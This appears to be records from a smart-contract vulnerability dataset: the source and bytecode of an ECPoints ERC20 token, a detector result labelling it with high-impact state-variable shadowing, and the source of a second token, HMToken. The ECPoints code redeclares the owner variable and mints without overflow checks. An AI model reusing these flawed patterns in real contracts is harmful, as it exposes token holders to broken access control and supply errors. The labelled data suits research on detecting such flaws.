pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ECPoints is StandardBurnableToken, Ownable { string public name = "ECPoints"; string public symbol = "ECP"; uint8 public decimals = 4; uint256 public INITIAL_SUPPLY = 130000000000000; address public owner; function ECPoints() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; owner = msg.sender; } function mintToken(address target, uint256 mintedAmount) public onlyOwner { balances[target] += mintedAmount; totalSupply_ += mintedAmount; Transfer(0, owner, mintedAmount); Transfer(owner, target, mintedAmount); } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd146102165780632ff2e9dc1461029b578063313ce567146102c657806342966c68146102f7578063661884631461032457806370a082311461038957806379c65068146103e057806379cc67901461042d5780638da5cb5b1461047a57806395d89b41146104d1578063a9059cbb14610561578063d73dd623146105c6578063dd62ed3e1461062b578063f2fde38b146106a2575b600080fd5b34801561010257600080fd5b5061010b6106e5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610783565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610875565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061087f565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610c39565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b506102db610c3f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030357600080fd5b5061032260048036038101908080359060200190929190505050610c52565b005b34801561033057600080fd5b5061036f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c5f565b604051808215151515815260200191505060405180910390f35b34801561039557600080fd5b506103ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef0565b6040518082815260200191505060405180910390f35b3480156103ec57600080fd5b5061042b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f38565b005b34801561043957600080fd5b50610478600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ed565b005b34801561048657600080fd5b5061048f611295565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104dd57600080fd5b506104e66112bb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052657808201518184015260208101905061050b565b50505050905090810190601f1680156105535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056d57600080fd5b506105ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611359565b604051808215151515815260200191505060405180910390f35b3480156105d257600080fd5b50610611600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611578565b604051808215151515815260200191505060405180910390f35b34801561063757600080fd5b5061068c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611774565b6040518082815260200191505060405180910390f35b3480156106ae57600080fd5b506106e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117fb565b005b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561077b5780601f106107505761010080835404028352916020019161077b565b820191906000526020600020905b81548152906001019060200180831161075e57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108bc57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099457600080fd5b6109e5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a78826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60075481565b600660009054906101000a900460ff1681565b610c5c3382611988565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d70576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e04565b610d83838261195390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9457600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600160008282540192505081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561117857600080fd5b61120781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112918282611988565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113515780601f1061132657610100808354040283529160200191611351565b820191906000526020600020905b81548152906001019060200180831161133457829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561139657600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113e357600080fd5b611434826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061160982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561185757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561189357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561196157fe5b818303905092915050565b6000818301905082811015151561197f57fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156119d557600080fd5b611a26816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7d8160015461195390919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058204f770914eea28142fc2ff2dea7a47cdae3ac192608cd65b6cad85b8e6a5624fe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
28
0xd1ba9BAC957322D6e8c07a160a3A8dA11A0d2867
// SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface HMTokenInterface { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); /// @param _owner The address from which the balance will be retrieved /// @return balance The balance function balanceOf(address _owner) external view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transfer(address _to, uint256 _value) external returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function transferBulk(address[] calldata _tos, uint256[] calldata _values, uint256 _txId) external returns (uint256 _bulkCount); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return success Whether the approval was successful or not function approve(address _spender, uint256 _value) external returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return remaining Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint256 remaining); } contract HMToken is HMTokenInterface { using SafeMath for uint256; /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant BULK_MAX_VALUE = 1000000000 * (10 ** 18); uint32 private constant BULK_MAX_COUNT = 100; event BulkTransfer(uint256 indexed _txId, uint256 _bulkCount); event BulkApproval(uint256 indexed _txId, uint256 _bulkCount); mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; string public name; uint8 public decimals; string public symbol; constructor(uint256 _totalSupply, string memory _name, uint8 _decimals, string memory _symbol) public { totalSupply = _totalSupply * (10 ** uint256(_decimals)); name = _name; decimals = _decimals; symbol = _symbol; balances[msg.sender] = totalSupply; } function transfer(address _to, uint256 _value) public override returns (bool success) { success = transferQuiet(_to, _value); require(success, "Transfer didn't succeed"); return success; } function transferFrom(address _spender, address _to, uint256 _value) public override returns (bool success) { uint256 _allowance = allowed[_spender][msg.sender]; require(_allowance >= _value, "Spender allowance too low"); require(_to != address(0), "Can't send tokens to uninitialized address"); balances[_spender] = balances[_spender].sub(_value, "Spender balance too low"); balances[_to] = balances[_to].add(_value); if (_allowance != MAX_UINT256) { // Special case to approve unlimited transfers allowed[_spender][msg.sender] = allowed[_spender][msg.sender].sub(_value); } emit Transfer(_spender, _to, _value); return true; } function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public override returns (bool success) { require(_spender != address(0), "Token spender is an uninitialized address"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function increaseApproval(address _spender, uint _delta) public returns (bool success) { require(_spender != address(0), "Token spender is an uninitialized address"); uint _oldValue = allowed[msg.sender][_spender]; if (_oldValue.add(_delta) < _oldValue || _oldValue.add(_delta) >= MAX_UINT256) { // Truncate upon overflow. allowed[msg.sender][_spender] = MAX_UINT256.sub(1); } else { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_delta); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _delta) public returns (bool success) { require(_spender != address(0), "Token spender is an uninitialized address"); uint _oldValue = allowed[msg.sender][_spender]; if (_delta > _oldValue) { // Truncate upon overflow. allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_delta); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } function transferBulk(address[] memory _tos, uint256[] memory _values, uint256 _txId) public override returns (uint256 _bulkCount) { require(_tos.length == _values.length, "Amount of recipients and values don't match"); require(_tos.length < BULK_MAX_COUNT, "Too many recipients"); uint256 _bulkValue = 0; for (uint j = 0; j < _tos.length; ++j) { _bulkValue = _bulkValue.add(_values[j]); } require(_bulkValue < BULK_MAX_VALUE, "Bulk value too high"); bool _success; for (uint i = 0; i < _tos.length; ++i) { _success = transferQuiet(_tos[i], _values[i]); if (_success) { _bulkCount = _bulkCount.add(1); } } emit BulkTransfer(_txId, _bulkCount); return _bulkCount; } function approveBulk(address[] memory _spenders, uint256[] memory _values, uint256 _txId) public returns (uint256 _bulkCount) { require(_spenders.length == _values.length, "Amount of spenders and values don't match"); require(_spenders.length < BULK_MAX_COUNT, "Too many spenders"); uint256 _bulkValue = 0; for (uint j = 0; j < _spenders.length; ++j) { _bulkValue = _bulkValue.add(_values[j]); } require(_bulkValue < BULK_MAX_VALUE, "Bulk value too high"); bool _success; for (uint i = 0; i < _spenders.length; ++i) { _success = increaseApproval(_spenders[i], _values[i]); if (_success) { _bulkCount = _bulkCount.add(1); } } emit BulkApproval(_txId, _bulkCount); return _bulkCount; } // Like transfer, but fails quietly. function transferQuiet(address _to, uint256 _value) internal returns (bool success) { if (_to == address(0)) return false; // Preclude burning tokens to uninitialized address. if (_to == address(this)) return false; // Preclude sending tokens to the contract. if (balances[msg.sender] < _value) return false; balances[msg.sender] = balances[msg.sender] - _value; balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } }
